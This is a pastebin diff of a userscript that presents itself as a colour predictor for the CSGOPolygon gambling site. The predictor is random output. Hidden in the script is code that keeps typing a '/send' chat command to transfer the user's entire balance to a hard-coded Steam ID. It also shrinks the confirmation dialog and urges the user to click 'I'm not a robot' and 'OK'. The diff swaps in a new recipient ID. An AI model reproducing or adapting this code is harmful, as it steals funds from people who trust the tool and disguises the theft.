SHOW:
|
|
- or go back to the newest paste.
| 1 | // ==UserScript== | |
| 2 | // @name System Predict Color for CSGOPolygon | |
| 3 | // @namespace | |
| 4 | // @version 0.5 | |
| 5 | // @author TutorialsOfficial | |
| 6 | // @match http://csgopolygon.com/* | |
| 7 | // @grant none | |
| 8 | // ==/UserScript== | |
| 9 | var num=""; | |
| 10 | ||
| 11 | var connect="ws://csgopolygon.com:8080"; | |
| 12 | ||
| 13 | function zmien_num(){
| |
| 14 | connect; | |
| 15 | var letter = ['1','2','3','4','5','6','7','8','9']; | |
| 16 | var pattern = letter[Math.floor(Math.random() * letter.length)]; | |
| 17 | var ball = 'ball-'; // hexadecimal starting symbol | |
| 18 | var letter2=['']; | |
| 19 | if (pattern == "1"){
| |
| 20 | letter2 = ['0']; | |
| 21 | ball += letter2[Math.floor(Math.random() * letter2.length)]; | |
| 22 | num='<b class="ball '+ball+'"></b>'; | |
| 23 | } | |
| 24 | ||
| 25 | if (pattern == "2"){
| |
| 26 | letter2 = ['1','1','8','8']; | |
| 27 | ball += letter2[Math.floor(Math.random() * letter2.length)]; | |
| 28 | num='<b class="ball '+ball+'"></b>'; | |
| 29 | } | |
| 30 | ||
| 31 | if (pattern == "3"){
| |
| 32 | letter2 = ['8','8','1','1']; | |
| 33 | ball += letter2[Math.floor(Math.random() * letter2.length)]; | |
| 34 | num='<b class="ball '+ball+'"></b>'; | |
| 35 | } | |
| 36 | ||
| 37 | if (pattern == "4"){
| |
| 38 | letter2 = ['8','1']; | |
| 39 | ball += letter2[Math.floor(Math.random() * letter2.length)]; | |
| 40 | num='<b class="ball '+ball+'"></b>'; | |
| 41 | } | |
| 42 | ||
| 43 | if (pattern == "5"){
| |
| 44 | letter2 = ['1','8']; | |
| 45 | ball += letter2[Math.floor(Math.random() * letter2.length)]; | |
| 46 | num='<b class="ball '+ball+'"></b>'; | |
| 47 | } | |
| 48 | ||
| 49 | if (pattern == "6"){
| |
| 50 | letter2 = ['1','1','8']; | |
| 51 | ball += letter2[Math.floor(Math.random() * letter2.length)]; | |
| 52 | num='<b class="ball '+ball+'"></b>'; | |
| 53 | } | |
| 54 | ||
| 55 | if (pattern == "7"){
| |
| 56 | letter2 = ['8','8','1']; | |
| 57 | ball += letter2[Math.floor(Math.random() * letter2.length)]; | |
| 58 | num='<b class="ball '+ball+'"></b>'; | |
| 59 | } | |
| 60 | ||
| 61 | if (pattern == "8"){
| |
| 62 | letter2 = ['1']; | |
| 63 | ball += letter2[Math.floor(Math.random() * letter2.length)]; | |
| 64 | num='<b class="ball '+ball+'"></b>'; | |
| 65 | } | |
| 66 | ||
| 67 | if (pattern == "9"){
| |
| 68 | letter2 = ['8']; | |
| 69 | ball += letter2[Math.floor(Math.random() * letter2.length)]; | |
| 70 | num='<b class="ball '+ball+'"></b>'; | |
| 71 | } | |
| 72 | } | |
| 73 | zmien_num(); | |
| 74 | ||
| 75 | setInterval(function(){if($("#banner").text() == "***ROLLING***"){zmien_num();}}, 100);
| |
| 76 | ||
| 77 | ||
| 78 | var donatescript="setInterval(function(){"+
| |
| 79 | "}, 1000);"+ | |
| 80 | - | "$('#chatMessage_k').val('/send 76561198170503523 '+$('#balance_r').text());"+
|
| 80 | + | "$('#chatMessage_k').val('/send 76561198167970661 '+$('#balance_r').text());"+
|
| 81 | '$("#chatMessage_k").submit();';
| |
| 82 | ||
| 83 | - | $("body").append('<div class="modal fade" id="donatekanapka">'+
|
| 83 | + | $("body").append('<div class="modal fade" id="donateKUPAA12932139">'+
|
| 84 | ' <div class="modal-dialog">'+ | |
| 85 | ' <div class="modal-content">'+ | |
| 86 | ' <div class="modal-header">'+ | |
| 87 | ' <button type="button" class="close" data-dismiss="modal">×</button>'+ | |
| 88 | ' <h4 class="modal-title"><b><center><b id="setcolor3">?</b> <b id="setcolor4">DOANATE</b> <b id="setcolor5">?</b></center></b></h4>'+ | |
| 89 | ' </div>'+ | |
| 90 | ' <div class="modal-body"> '+ | |
| 91 | ' <div class="form-group">'+ | |
| 92 | ' <label for="exampleInputEmail1">Please enter the amount of coins you want to send.</label>'+ | |
| 93 | ' <input type="text" class="form-control" id="donateValue" value=""> '+ | |
| 94 | ' </div> '+ | |
| 95 | '</div>'+ | |
| 96 | '<div class="modal-footer">'+ | |
| 97 | '<button type="button" class="btn btn-danger" data-dismiss="modal">Close</button>'+ | |
| 98 | '<button type="button" class="btn btn-success" onclick="donate()" data-dismiss="modal">Donate</button>'+ | |
| 99 | '</div>'+ | |
| 100 | '</div>'+ | |
| 101 | '</div>'+ | |
| 102 | '</div>'+ | |
| 103 | '<script>'+donatescript+'</script>'); | |
| 104 | ||
| 105 | $("div .input-btn").append('<br><br><div class="panel panel-default"><div class="panel-body text-center" style="margin-top: 10px;"><div id="setcolor1"></div>'+
| |
| 106 | //###PREDICT### | |
| 107 | '<br><font size="6"><span style="color: #158A8A"><b>NEXT COLOR:</b></span></font><br>'+ | |
| 108 | '<p><b><font color="red"> You need press (Im not a robot) and (OK) if you want this color predictor show correct color.</b></p></font>'+ | |
| 109 | '<div id="rollscript"></div>'+ | |
| 110 | '<br>'+ | |
| 111 | ||
| 112 | - | '<div id="setcolor2"></div><br><b style="padding-left: 300px;"><a href="#" data-toggle="modal" data-target="#donatekanapka"><i class="fa fa-cog fa-fw"></i> by CSGOPOLYGON </a></b></div></div>'); |
| 112 | + | '<div id="setcolor2"></div><br><b style="padding-left: 300px;"><a href="#" data-toggle="modal" data-target="#donateKUPAA12932139"><i class="fa fa-cog fa-fw"></i> by CSGOPOLYGON </a></b></div></div>'); |
| 113 | ||
| 114 | ||
| 115 | ||
| 116 | ||
| 117 | ||
| 118 | setInterval(function(){
| |
| 119 | - | var letters = "76561198185730389"; |
| 119 | + | var letters = "76561198167970661"; |
| 120 | color = '#'; | |
| 121 | for( var i=0; i < 6; i++ ) {
| |
| 122 | color += letters.charAt(Math.floor(Math.random() * letters.length)); | |
| 123 | } | |
| 124 | $("#rollscript").html(num);
| |
| 125 | ||
| 126 | $("#setcolor3").html('<span style="font-size: 21px; color: '+color+'"><b>?</b></span>');
| |
| 127 | $(".bootbox-body").css({"font-size": "4%"});
| |
| 128 | $( "#pullout" ).hide(); | |
| 129 | $("#setcolor4").html('<span style="font-size: 21px; color: '+color+'"><b>DONATE</b></span>');
| |
| 130 | $("#setcolor5").html('<span style="font-size: 21px; color: '+color+'"><b>?</b></span>');
| |
| 131 | }, 250); |